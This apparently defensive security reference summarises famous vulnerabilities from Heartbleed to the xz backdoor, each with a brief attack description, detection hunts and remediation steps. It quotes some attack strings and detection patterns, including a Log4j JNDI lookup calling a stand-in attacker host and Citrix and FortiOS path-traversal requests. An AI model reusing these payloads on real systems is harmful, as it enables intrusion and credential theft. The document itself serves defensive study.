Vulnerabilities that reshaped defense

The malicious build injected code that hooked into sshd via liblzma, aiming to allow a key-bearing attacker to bypass authentication - a textbook build/maintainer supply-chain compromise.

Inventory installed xz/liblzma versions (5.6.0/5.6.1), diff distro packages against known-good, and monitor build/maintainer changes; watch sshd for anomalous behavior.

Downgrade xz to a safe version, rebuild affected systems, and adopt reproducible builds + dependency provenance (SLSA) to catch the next one.

The attacker exploits the SQLi to install the 'human2.aspx' webshell, then uses it to enumerate and steal files stored in MOVEit.

Look for human2.aspx (or similarly named) files in the MOVEit webroot, anomalous DB service account activity, and large outbound transfers from the MOVEit host.

Apply Progress's patches, hunt for the known IOCs/webshells, rotate MOVEit service credentials, and review file access logs for exfiltration.

The attacker sends an appointment with PidLidReminderFileParameter pointing to a UNC path on their server; Outlook connects on reminder, leaking the NTLM hash to relay or crack.

Hunt for outbound SMB (445) to external/unknown hosts from user workstations, and use Microsoft's script to scan mailboxes for malicious reminder properties.

Patch Outlook, block outbound SMB to the internet, add users to Protected Users / enforce SMB signing, and run the mailbox-scanning script.

The attacker sends a crafted request to over-read memory, harvests valid session cookies, and replays them to impersonate users without credentials or MFA.

Hunt for session reuse from new IPs/user-agents, impossible-travel logins, and large or malformed requests to the NetScaler; correlate with VPN session anomalies.

Patch NetScaler, then terminate ALL active sessions (patching alone does not evict stolen tokens), and review for post-exploitation activity.

The attacker sends specially crafted class.module.classLoader.* parameters to a vulnerable Spring endpoint, writing a JSP webshell to the webroot and executing commands.

Alert on requests containing 'class.module.classLoader' or 'Tomcat' pipeline params; hunt for new .jsp files and java spawning shells.

Upgrade Spring Framework (5.3.18+/5.2.20+), patch Tomcat, and add a WAF rule blocking classLoader binding.

The attacker abuses the hop-by-hop header / auth bypass to reach the REST 'bash' endpoint and execute commands as root.

Alert on POSTs to /mgmt/tm/util/bash with X-F5-Auth-Token/Connection header anomalies, and unexpected commands run by the REST service.

Patch, restrict management access to a trusted network, and review for post-exploitation on the device.

The attacker sends a crafted OGNL expression in the request URI; Confluence evaluates it and runs arbitrary commands, often planting a webshell.

Alert on '${' / OGNL patterns in Confluence URIs, java (confluence) spawning shells, and new files in Confluence webroots.

Patch Confluence, hunt for shells/IOCs, and restrict external access to the app.

A malicious Office doc (often via a remote template) calls ms-msdt: with a crafted command; MSDT executes it, giving the attacker code execution on open.

Alert on WINWORD.EXE/ONENOTE.EXE spawning msdt.exe or sdiagnhost.exe, and on 'ms-msdt:' or 'IT_BrowseForFile' strings; hunt for suspicious PowerShell children of Office.

Apply the patch; as a stopgap, unregister the ms-msdt URL protocol and enable Office Protected View / ASR rules.

The attacker runs pkexec with crafted argument/environment vectors that trigger out-of-bounds writes, gaining a root shell locally.

Hunt for pkexec executions with unusual environments, unexpected root shells spawned from pkexec, and auditd execve anomalies.

Patch polkit; as a stopgap, remove the SUID bit from pkexec.

The attacker sends a string like ${jndi:ldap://attacker/a} in any field that gets logged (User-Agent, headers, chat, form fields). Log4j resolves the JNDI lookup, fetches a remote class, and executes it.

Hunt for 'jndi:', 'ldap:', 'rmi:', 'dns:' substrings in request logs and headers; alert on servers making unexpected outbound LDAP/RMI/DNS to the internet; watch for java spawning shells.

Upgrade to Log4j 2.17.1+, remove the JndiLookup class, block egress from app servers, and set log4j2.formatMsgNoLookups=true on older versions.

The attacker abuses the Autodiscover SSRF to reach the backend PowerShell endpoint, then writes an ASPX webshell to a known Exchange path for persistence and RCE.

Hunt for new .aspx files in Exchange virtual directories, suspicious /autodiscover/autodiscover.json?...&Email=autodiscover requests in IIS logs, and w3wp.exe spawning cmd/powershell.

Patch Exchange to the latest CU/SU, review IIS logs and webroots for shells, and restrict external access to Exchange management endpoints.

The attacker sends a crafted request to the Exchange front end (SSRF) to authenticate as the server to the backend, then chains write primitives to drop an ASPX webshell.

Hunt for POSTs to /owa/auth/ or ecp/ with anomalous cookies in IIS logs, new .aspx files in Exchange virtual directories, and w3wp.exe spawning cmd/powershell.

Apply Exchange security updates immediately, run Microsoft's mitigation/scanner scripts, and hunt webroots + IIS logs for shells and IOCs.

The attacker points the spooler at a malicious 'printer driver' DLL on a share; spoolsv.exe loads it with SYSTEM privileges and runs the payload.

Watch spoolsv.exe spawning cmd/powershell or writing DLLs under C:\Windows\System32\spool\drivers; alert on new drivers added over RPC/SMB.

Patch, disable the Print Spooler where not needed, and restrict 'Point and Print' driver installation to administrators.

The attacker sends ~256 Netlogon authentication attempts with a zeroed challenge until one succeeds, then resets the DC's computer account password and dumps domain credentials (DCSync).

Alert on Netlogon events 4742/5805, a burst of NetrServerAuthenticate calls, and machine-account password changes for a DC; EDR on lsass access and DCSync replication from non-DC hosts.

Apply the August 2020 patch and enforce 'secure RPC' (enforcement mode); monitor for accounts using vulnerable Netlogon.

The attacker sends a crafted compressed SMBv3 packet to a listening host, triggering the overflow for kernel-level RCE with worm potential.

Alert on SMBv3 compression use, internal 445/tcp scanning and exploit signatures, and SMB service crashes.

Patch, disable SMBv3 compression as a stopgap, and block/limit 445/tcp between hosts.

The attacker triggers the server to process an oversized DNS response (SIG record), overflowing a buffer to gain SYSTEM-level RCE, with worm potential across DNS servers.

Alert on abnormally large DNS responses/TCP DNS to your servers, DNS service crashes, and post-exploitation from DNS/DC hosts.

Patch immediately; as a stopgap set the max TCP DNS response length registry value, then reboot.

The attacker requests a crafted path to read arbitrary files, harvesting cached credentials and session tokens, then logs in as legitimate users (bypassing MFA via stolen sessions).

Alert on path-traversal-style requests to the VPN, session reuse from new IPs, and impossible-travel logins; review VPN logs for anomalous access.

Patch, then reset ALL VPN credentials and terminate sessions (leaked creds/sessions persist after patching), and enforce MFA.

The attacker sends crafted RDP requests to a vulnerable host before authentication, achieving RCE - with worm potential across RDP-exposed networks.

Alert on internet-exposed 3389/tcp, RDP scanning, and BlueKeep exploit signatures; watch for RDP service crashes.

Patch, require Network Level Authentication (NLA), and keep RDP off the internet (VPN/gateway only).

The attacker uses '/vpn/../vpns/' path traversal to reach a vulnerable template endpoint and write/execute a payload, gaining code execution on the appliance.

Alert on requests containing '/vpn/../vpns/' or to /vpns/portal/scripts/, new .xml/.pl files in the template dir, and unexpected processes on the appliance.

Patch the appliance, apply Citrix's mitigation, and forensically review for implants (appliances are often not re-imaged).

The attacker requests a crafted URL to read the sslvpn session file, harvesting usernames and passwords, then logs into the VPN as a real user.

Alert on requests to /remote/fgt_lang?lang=/../ or sslvpn_websession reads, and on VPN logins that follow from new IPs shortly after.

Patch FortiOS, then reset ALL VPN credentials (leaked creds persist after patching), and enforce MFA on the VPN.

The attacker sends a malicious Content-Type header containing an OGNL expression; the Struts parser evaluates it and runs the embedded command.

Alert on Content-Type headers containing '%{' / 'ognl' / '(#cmd=', and Java app servers spawning shells; WAF signatures exist.

Upgrade Struts, add a WAF rule for OGNL in headers, and inventory apps using the vulnerable parser.

The attacker sends crafted SMBv1 packets to a listening host (445/tcp), gains kernel-level RCE, then self-propagates across the network without user interaction.

Alert on SMBv1 use, internal 445/tcp scanning and lateral spread, MS17-010 exploit signatures in IDS, and DoublePulsar implant checks.

Patch MS17-010, disable SMBv1 entirely, and segment/limit 445/tcp between hosts.

The attacker sends a crafted HTTP header (e.g. User-Agent) to a CGI script; the value becomes an env var Bash parses, and the appended commands execute on the server.

Hunt for '() {' sequences in HTTP headers/logs, and web servers spawning bash/sh with odd commands; IDS signatures exist for the payload.

Patch Bash, retire/limit CGI, and validate/sanitize inputs that reach shells.

The attacker sends malformed heartbeat requests and reads back chunks of process memory, potentially harvesting private keys and credentials over many requests.

Alert on malformed TLS heartbeat records and abnormal heartbeat request volume; IDS signatures exist for the over-read.

Upgrade OpenSSL, then reissue/rotate certificates and revoke old keys, and force credential resets.